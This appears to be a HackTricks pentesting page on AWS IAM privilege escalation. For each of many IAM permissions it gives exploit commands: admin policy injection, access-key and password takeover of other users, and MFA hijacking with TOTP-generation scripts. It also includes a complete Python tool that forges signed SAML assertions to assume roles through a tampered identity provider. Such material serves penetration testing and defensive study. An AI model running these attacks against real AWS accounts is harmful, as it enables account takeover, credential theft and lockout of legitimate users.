# AWS - IAM Privesc

{{#include ../../../../banners/hacktricks-training.md}}

## IAM

For more info about IAM check:

{{#ref}}
../../aws-services/aws-iam-enum.md
{{#endref}}

### **`iam:CreatePolicyVersion`**

Grants the ability to create a new IAM policy version, bypassing the need for `iam:SetDefaultPolicyVersion` permission by using the `--set-as-default` flag. This enables defining custom permissions.

**Exploit Command:**

```bash
aws iam create-policy-version --policy-arn <target_policy_arn> \
    --policy-document file:///path/to/administrator/policy.json --set-as-default
```

**Impact:** Directly escalates privileges by allowing any action on any resource.

### **`iam:SetDefaultPolicyVersion`**

Allows changing the default version of an IAM policy to another existing version, potentially escalating privileges if the new version has more permissions.

**Bash Command:**

```bash
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
```

**Impact:** Indirect privilege escalation by enabling more permissions.

### **`iam:CreateAccessKey`, (`iam:DeleteAccessKey`)**

Enables creating access key ID and secret access key for another user, leading to potential privilege escalation.

**Exploit:**

```bash
aws iam create-access-key --user-name <target_user>
```

**Impact:** Direct privilege escalation by assuming another user's extended permissions.

Note that a user can only have 2 access keys created, so if a user already has 2 access keys you will need the permission `iam:DeleteAccessKey` to detele one of them to be able to create a new one:

```bash
aws iam delete-access-key --access-key-id <key_id>
```

### **`iam:CreateVirtualMFADevice` + `iam:EnableMFADevice`**

If you can create a new virtual MFA device and enable it on another user, you can effectively enroll your own MFA for that user and then request an MFA-backed session for their credentials.

**Exploit:**

```bash
# Create a virtual MFA device (this returns the serial and the base32 seed)
aws iam create-virtual-mfa-device --virtual-mfa-device-name <mfa_name>

# Generate 2 consecutive TOTP codes from the seed, then enable it for the user
aws iam enable-mfa-device --user-name <target_user> --serial-number <serial> \
  --authentication-code1 <code1> --authentication-code2 <code2>
```

**Impact:** Direct privilege escalation by taking over a user's MFA enrollment (and then using their permissions).

### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`**

Permits creating or updating a login profile, including setting passwords for AWS console login, leading to direct privilege escalation.

**Exploit for Creation:**

```bash
aws iam create-login-profile --user-name target_user --no-password-reset-required \
    --password '<password>'
```

**Exploit for Update:**

```bash
aws iam update-login-profile --user-name target_user --no-password-reset-required \
    --password '<password>'
```

**Impact:** Direct privilege escalation by logging in as "any" user.

### **`iam:UpdateAccessKey`**

Allows enabling a disabled access key, potentially leading to unauthorized access if the attacker possesses the disabled key.

**Exploit:**

```bash
aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
```

**Impact:** Direct privilege escalation by reactivating access keys.

### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`**

Enables generating or resetting credentials for specific AWS services (most commonly **CodeCommit**). These are **not** AWS API keys: they are **username/password** credentials for a specific service, and you can only use them where that service accepts them.

**Creation:**

```bash
aws iam create-service-specific-credential --user-name <target_user> --service-name codecommit.amazonaws.com
```

Save:

- `ServiceSpecificCredential.ServiceUserName`
- `ServiceSpecificCredential.ServicePassword`

**Example:**

```bash
# Find a repository you can access as the target
aws codecommit list-repositories

export REPO_NAME="<repo_name>"
export AWS_REGION="us-east-1" # adjust if needed

# Git URL (HTTPS)
export CLONE_URL="https://git-codecommit.${AWS_REGION}.amazonaws.com/v1/repos/${REPO_NAME}"

# Clone and use the ServiceUserName/ServicePassword when prompted
git clone "$CLONE_URL"
cd "$REPO_NAME"
```

> Note: The service password often contains characters like `+`, `/` and `=`. Using the interactive prompt is usually easiest. If you embed it into a URL, URL-encode it first.

At this point you can read whatever the target user can access in CodeCommit (e.g., a leaked credentials file). If you retrieve **AWS access keys** from the repo, configure a new AWS CLI profile with those keys and then access resources (for example, read a flag from Secrets Manager):

```bash
aws secretsmanager get-secret-value --secret-id <secret_name> --profile <new_profile>
```

**Reset:**

```bash
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
```

**Impact:** Privilege escalation into the target user's permissions for the given service (and potentially beyond if you pivot using data retrieved from that service).

### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`**

Allows attaching policies to users or groups, directly escalating privileges by inheriting the permissions of the attached policy.

**Exploit for User:**

```bash
aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
```

**Exploit for Group:**

```bash
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
```

**Impact:** Direct privilege escalation to anything the policy grants.

### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`**

Permits attaching or putting policies to roles, users, or groups, enabling direct privilege escalation by granting additional permissions.

**Exploit for Role:**

```bash
aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"
```

**Exploit for Inline Policies:**

```bash
aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
    --policy-document "file:///path/to/policy.json"

aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>" \
    --policy-document file:///path/to/policy.json

aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
    --policy-document file:///path/to/policy.json
```

You can use a policy like:

```json
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": ["*"],
      "Resource": ["*"]
    }
  ]
}
```

**Impact:** Direct privilege escalation by adding permissions through policies.

### **`iam:AddUserToGroup`**

Enables adding oneself to an IAM group, escalating privileges by inheriting the group's permissions.

**Exploit:**

```bash
aws iam add-user-to-group --group-name <group_name> --user-name <username>
```

**Impact:** Direct privilege escalation to the level of the group's permissions.

### **`iam:UpdateAssumeRolePolicy`**

Allows altering the assume role policy document of a role, enabling the assumption of the role and its associated permissions.

**Exploit:**

```bash
aws iam update-assume-role-policy --role-name <role_name> \
    --policy-document file:///path/to/assume/role/policy.json
```

Where the policy looks like the following, which gives the user permission to assume the role:

```json
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": "sts:AssumeRole",
      "Principal": {
        "AWS": "$USER_ARN"
      }
    }
  ]
}
```

**Impact:** Direct privilege escalation by assuming any role's permissions.

### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`**

Permits uploading an SSH public key for authenticating to CodeCommit and deactivating MFA devices, leading to potential indirect privilege escalation.

**Exploit for SSH Key Upload:**

```bash
aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>
```

**Exploit for MFA Deactivation:**

```bash
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
```

**Impact:** Indirect privilege escalation by enabling CodeCommit access or disabling MFA protection.

### **`iam:ResyncMFADevice`**

Allows resynchronization of an MFA device, potentially leading to indirect privilege escalation by manipulating MFA protection.

**Bash Command:**

```bash
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
    --authentication-code1 <code1> --authentication-code2 <code2>
```

**Impact:** Indirect privilege escalation by adding or manipulating MFA devices.

### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`)

With these permissions you can **change the XML metadata of the SAML connection**. Then, you could abuse the **SAML federation** to **login** with any **role that is trusting** it.

Note that doing this **legit users won't be able to login**. However, you could get the XML, so you can put yours, login and configure the previous back

```bash
# List SAMLs
aws iam list-saml-providers

# Optional: Get SAML provider XML
aws iam get-saml-provider --saml-provider-arn <ARN>

# Update SAML provider
aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-arn <arn>

## Login impersonating roles that trust the SAML provider

# Optional: Set the previous XML back
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>
```

**End-to-end attack:**

1. Enumerate the SAML provider and a role that trusts it:

```bash
export AWS_REGION=${AWS_REGION:-us-east-1}

aws iam list-saml-providers
export PROVIDER_ARN="arn:aws:iam::<ACCOUNT_ID>:saml-provider/<PROVIDER_NAME>"

# Backup current metadata so you can restore it later:
aws iam get-saml-provider --saml-provider-arn "$PROVIDER_ARN" > /tmp/saml-provider-backup.json

# Find candidate roles and inspect their trust policy to confirm they allow sts:AssumeRoleWithSAML:
aws iam list-roles | grep -i saml || true
aws iam get-role --role-name "<ROLE_NAME>"
export ROLE_ARN="arn:aws:iam::<ACCOUNT_ID>:role/<ROLE_NAME>"
```

2. Forge IdP metadata + a signed SAML assertion for the role/provider pair:

```bash
python3 -m venv /tmp/saml-federation-venv
source /tmp/saml-federation-venv/bin/activate
pip install lxml signxml

# Create /tmp/saml_forge.py from the expandable below first:
python3 /tmp/saml_forge.py --role-arn "$ROLE_ARN" --principal-arn "$PROVIDER_ARN" > /tmp/saml-forge.json
python3 - <<'PY'
import json
j=json.load(open("/tmp/saml-forge.json","r"))
open("/tmp/saml-metadata.xml","w").write(j["metadata_xml"])
open("/tmp/saml-assertion.b64","w").write(j["assertion_b64"])
print("Wrote /tmp/saml-metadata.xml and /tmp/saml-assertion.b64")
PY
```

<details>
<summary>Expandable: <code>/tmp/saml_forge.py</code> helper (metadata + signed assertion)</summary>

```python
#!/usr/bin/env python3
from __future__ import annotations

import argparse
import base64
import datetime as dt
import json
import os
import subprocess
import tempfile
import uuid

from lxml import etree
from signxml import XMLSigner, methods


def _run(cmd: list[str]) -> str:
    p = subprocess.run(cmd, check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
    return p.stdout


def _openssl_make_key_and_cert(tmpdir: str) -> tuple[str, str]:
    key_path = os.path.join(tmpdir, "key.pem")
    cert_path = os.path.join(tmpdir, "cert.pem")

    _run(
        [
            "openssl",
            "req",
            "-x509",
            "-newkey",
            "rsa:2048",
            "-keyout",
            key_path,
            "-out",
            cert_path,
            "-days",
            "3650",
            "-nodes",
            "-subj",
            "/CN=attacker-idp",
        ]
    )
    return key_path, cert_path


def _pem_cert_to_b64(cert_pem: str) -> str:
    lines = []
    for line in cert_pem.splitlines():
        if "BEGIN CERTIFICATE" in line or "END CERTIFICATE" in line:
            continue
        if line.strip():
            lines.append(line.strip())
    return "".join(lines)


def make_metadata_xml(cert_b64: str) -> str:
    return f"""<?xml version="1.0"?>
<EntityDescriptor xmlns="urn:oasis:names:tc:SAML:2.0:metadata" entityID="https://attacker-idp.invalid/idp">
  <IDPSSODescriptor protocolSupportEnumeration="urn:oasis:names:tc:SAML:2.0:protocol">
    <KeyDescriptor use="signing">
      <KeyInfo xmlns="http://www.w3.org/2000/09/xmldsig#">
        <X509Data>
          <X509Certificate>{cert_b64}</X509Certificate>
        </X509Data>
      </KeyInfo>
    </KeyDescriptor>
    <SingleSignOnService Binding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-Redirect" Location="https://attacker-idp.invalid/sso"/>
  </IDPSSODescriptor>
</EntityDescriptor>
"""


def make_signed_saml_response(role_arn: str, principal_arn: str, key_pem: str, cert_pem: str) -> bytes:
    ns = {
        "saml2p": "urn:oasis:names:tc:SAML:2.0:protocol",
        "saml2": "urn:oasis:names:tc:SAML:2.0:assertion",
    }

    issue_instant = dt.datetime.now(dt.timezone.utc)
    not_before = issue_instant - dt.timedelta(minutes=2)
    not_on_or_after = issue_instant + dt.timedelta(minutes=10)

    resp_id = "_" + str(uuid.uuid4())
    assertion_id = "_" + str(uuid.uuid4())

    response = etree.Element(etree.QName(ns["saml2p"], "Response"), nsmap=ns)
    response.set("ID", resp_id)
    response.set("Version", "2.0")
    response.set("IssueInstant", issue_instant.isoformat())
    response.set("Destination", "https://signin.aws.amazon.com/saml")

    issuer = etree.SubElement(response, etree.QName(ns["saml2"], "Issuer"))
    issuer.text = "https://attacker-idp.invalid/idp"

    status = etree.SubElement(response, etree.QName(ns["saml2p"], "Status"))
    status_code = etree.SubElement(status, etree.QName(ns["saml2p"], "StatusCode"))
    status_code.set("Value", "urn:oasis:names:tc:SAML:2.0:status:Success")

    assertion = etree.SubElement(response, etree.QName(ns["saml2"], "Assertion"))
    assertion.set("ID", assertion_id)
    assertion.set("Version", "2.0")
    assertion.set("IssueInstant", issue_instant.isoformat())

    a_issuer = etree.SubElement(assertion, etree.QName(ns["saml2"], "Issuer"))
    a_issuer.text = "https://attacker-idp.invalid/idp"

    subject = etree.SubElement(assertion, etree.QName(ns["saml2"], "Subject"))
    name_id = etree.SubElement(subject, etree.QName(ns["saml2"], "NameID"))
    name_id.set("Format", "urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified")
    name_id.text = "attacker"

    subject_conf = etree.SubElement(subject, etree.QName(ns["saml2"], "SubjectConfirmation"))
    subject_conf.set("Method", "urn:oasis:names:tc:SAML:2.0:cm:bearer")
    subject_conf_data = etree.SubElement(subject_conf, etree.QName(ns["saml2"], "SubjectConfirmationData"))
    subject_conf_data.set("NotOnOrAfter", not_on_or_after.isoformat())
    subject_conf_data.set("Recipient", "https://signin.aws.amazon.com/saml")

    conditions = etree.SubElement(assertion, etree.QName(ns["saml2"], "Conditions"))
    conditions.set("NotBefore", not_before.isoformat())
    conditions.set("NotOnOrAfter", not_on_or_after.isoformat())

    audience_restriction = etree.SubElement(conditions, etree.QName(ns["saml2"], "AudienceRestriction"))
    audience = etree.SubElement(audience_restriction, etree.QName(ns["saml2"], "Audience"))
    audience.text = "https://signin.aws.amazon.com/saml"

    authn_statement = etree.SubElement(assertion, etree.QName(ns["saml2"], "AuthnStatement"))
    authn_statement.set("AuthnInstant", issue_instant.isoformat())
    authn_statement.set("SessionIndex", str(uuid.uuid4()))

    authn_context = etree.SubElement(authn_statement, etree.QName(ns["saml2"], "AuthnContext"))
    authn_context_class_ref = etree.SubElement(authn_context, etree.QName(ns["saml2"], "AuthnContextClassRef"))
    authn_context_class_ref.text = "urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport"

    attribute_statement = etree.SubElement(assertion, etree.QName(ns["saml2"], "AttributeStatement"))

    attr_role = etree.SubElement(attribute_statement, etree.QName(ns["saml2"], "Attribute"))
    attr_role.set("Name", "https://aws.amazon.com/SAML/Attributes/Role")
    attr_role_value = etree.SubElement(attr_role, etree.QName(ns["saml2"], "AttributeValue"))
    attr_role_value.text = f"{role_arn},{principal_arn}"

    attr_session = etree.SubElement(attribute_statement, etree.QName(ns["saml2"], "Attribute"))
    attr_session.set("Name", "https://aws.amazon.com/SAML/Attributes/RoleSessionName")
    attr_session_value = etree.SubElement(attr_session, etree.QName(ns["saml2"], "AttributeValue"))
    attr_session_value.text = "attacker-idp"

    with open(key_pem, "rb") as f:
        key_bytes = f.read()
    with open(cert_pem, "rb") as f:
        cert_bytes = f.read()

    signer = XMLSigner(
        method=methods.enveloped,
        signature_algorithm="rsa-sha256",
        digest_algorithm="sha256",
        c14n_algorithm="http://www.w3.org/2001/10/xml-exc-c14n#",
    )
    signed_assertion = signer.sign(
        assertion,
        key=key_bytes,
        cert=cert_bytes,
        reference_uri=f"#{assertion_id}",
        id_attribute="ID",
    )

    response.remove(assertion)
    response.append(signed_assertion)

    return etree.tostring(response, xml_declaration=True, encoding="utf-8")


def main() -> None:
    ap = argparse.ArgumentParser()
    ap.add_argument("--role-arn", required=True)
    ap.add_argument("--principal-arn", required=True)
    args = ap.parse_args()

    with tempfile.TemporaryDirectory() as tmp:
        key_path, cert_path = _openssl_make_key_and_cert(tmp)
        cert_pem = open(cert_path, "r", encoding="utf-8").read()
        cert_b64 = _pem_cert_to_b64(cert_pem)

        metadata_xml = make_metadata_xml(cert_b64)
        saml_xml = make_signed_saml_response(args.role_arn, args.principal_arn, key_path, cert_path)
        saml_b64 = base64.b64encode(saml_xml).decode("ascii")

        print(json.dumps({"metadata_xml": metadata_xml, "assertion_b64": saml_b64}))


if __name__ == "__main__":
    main()
```

</details>

3. Update the SAML provider metadata to your IdP certificate, assume the role, and use the returned STS credentials:

```bash
aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
  --saml-metadata-document file:///tmp/saml-metadata.xml

# Assertion is base64 and can be long. Keep it on one line:
ASSERTION_B64=$(tr -d '\n' </tmp/saml-assertion.b64)
SESSION_LINE=$(aws sts assume-role-with-saml --role-arn "$ROLE_ARN" --principal-arn "$PROVIDER_ARN" --saml-assertion "$ASSERTION_B64" \
  --query 'Credentials.[AccessKeyId,SecretAccessKey,SessionToken,Expiration]' --output text)
IFS=$'\t' read -r SESSION_AK SESSION_SK SESSION_ST SESSION_EXP <<<"$SESSION_LINE"
echo "Session expires at: $SESSION_EXP"

# Use creds inline (no need to create an AWS CLI profile):
AWS_ACCESS_KEY_ID="$SESSION_AK" AWS_SECRET_ACCESS_KEY="$SESSION_SK" AWS_SESSION_TOKEN="$SESSION_ST" AWS_REGION="$AWS_REGION" \
  aws sts get-caller-identity
```

4. Cleanup: restore previous metadata:

```bash
python3 - <<'PY'
import json
j=json.load(open("/tmp/saml-provider-backup.json","r"))
open("/tmp/saml-metadata-original.xml","w").write(j["SAMLMetadataDocument"])
PY
aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
  --saml-metadata-document file:///tmp/saml-metadata-original.xml
```

> [!WARNING]
> Updating SAML provider metadata is disruptive: while your metadata is in place, legitimate SSO users might not be able to authenticate.

### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**)

(Unsure about this) If an attacker has these **permissions** he could add a new **Thumbprint** to manage to login in all the roles trusting the provider.

```bash
# List providers
aws iam list-open-id-connect-providers
# Optional: Get Thumbprints used to not delete them
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
# Update Thumbprints (The thumbprint is always a 40-character string)
aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3
```

### `iam:PutUserPermissionsBoundary`

This permissions allows an attacker to update the permissions boundary of a user, potentially escalating their privileges by allowing them to perform actions that are normally restricted by their existing permissions.

```bash
aws iam put-user-permissions-boundary \
  --user-name <nombre_usuario> \
 --permissions-boundary arn:aws:iam::<cuenta>:policy/<nombre_politica>

Un ejemplo de una política que no aplica ninguna restricción es:


{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "BoundaryAllowAll",
      "Effect": "Allow",
      "Action": "*",
      "Resource": "*"
    }
  ]
}
```

### `iam:PutRolePermissionsBoundary`

An actor with iam:PutRolePermissionsBoundary can set a permissions boundary on an existing role. The risk arises when someone with this permission changes a role’s boundary: they can improperly restrict operations (causing service disruption) or, if they attach a permissive boundary, effectively expand what the role can do and escalate privileges.

```bash
aws iam put-role-permissions-boundary \
  --role-name <Role_Name> \
  --permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy
```

### `iam:CreateVirtualMFADevice`, `iam:EnableMFADevice`, CreateVirtualMFADevice & `sts:GetSessionToken`
The attacker creates a virtual MFA device under their control and attaches it to the target IAM user, replacing or bypassing the victim’s original MFA. Using the seed of this attacker-controlled MFA, they generate valid one-time passwords and request an MFA-authenticated session token via STS. This allows the attacker to satisfy the MFA requirement and obtain temporary credentials as the victim, effectively completing the account takeover even though MFA is enforced.

If the target user already has MFA, deactivate it (`iam:DeactivateMFADevice`):

```bash
aws iam deactivate-mfa-device \
  --user-name TARGET_USER \
  --serial-number arn:aws:iam::ACCOUNT_ID:mfa/EXISTING_DEVICE_NAME
```

Create a new virtual MFA device (writes the seed to a file)

```bash
aws iam create-virtual-mfa-device \
  --virtual-mfa-device-name VIRTUAL_MFA_DEVICE_NAME \
  --bootstrap-method Base32StringSeed \
  --outfile /tmp/mfa-seed.txt
```

Generate two consecutive TOTP codes from the seed file:

```python
import base64, hmac, hashlib, struct, time

seed = open("/tmp/mfa-seed.txt").read().strip()
seed = seed + ("=" * ((8 - (len(seed) % 8)) % 8))
key = base64.b32decode(seed, casefold=True)

def totp(t):
    counter = int(t / 30)
    msg = struct.pack(">Q", counter)
    h = hmac.new(key, msg, hashlib.sha1).digest()
    o = h[-1] & 0x0F
    code = (struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000
    return f"{code:06d}"

now = int(time.time())
print(totp(now))
print(totp(now + 30))
```

Enable MFA device on the target user, replace MFA_SERIAL_ARN, CODE1, CODE2:

```bash
aws iam enable-mfa-device \
  --user-name TARGET_USER \
  --serial-number MFA_SERIAL_ARN \
  --authentication-code1 CODE1 \
  --authentication-code2 CODE2
```

Generate a current token code (for STS)
```python
import base64, hmac, hashlib, struct, time

seed = open("/tmp/mfa-seed.txt").read().strip()
seed = seed + ("=" * ((8 - (len(seed) % 8)) % 8))
key = base64.b32decode(seed, casefold=True)

counter = int(time.time() / 30)
msg = struct.pack(">Q", counter)
h = hmac.new(key, msg, hashlib.sha1).digest()
o = h[-1] & 0x0F
code = (struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000
print(f"{code:06d}")
```

Copy the printed value as TOKEN_CODE and request an MFA-backed session token (STS):

```bash
aws sts get-session-token \
  --serial-number MFA_SERIAL_ARN \
  --token-code TOKEN_CODE
```

## References

- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)

{{#include ../../../../banners/hacktricks-training.md}}
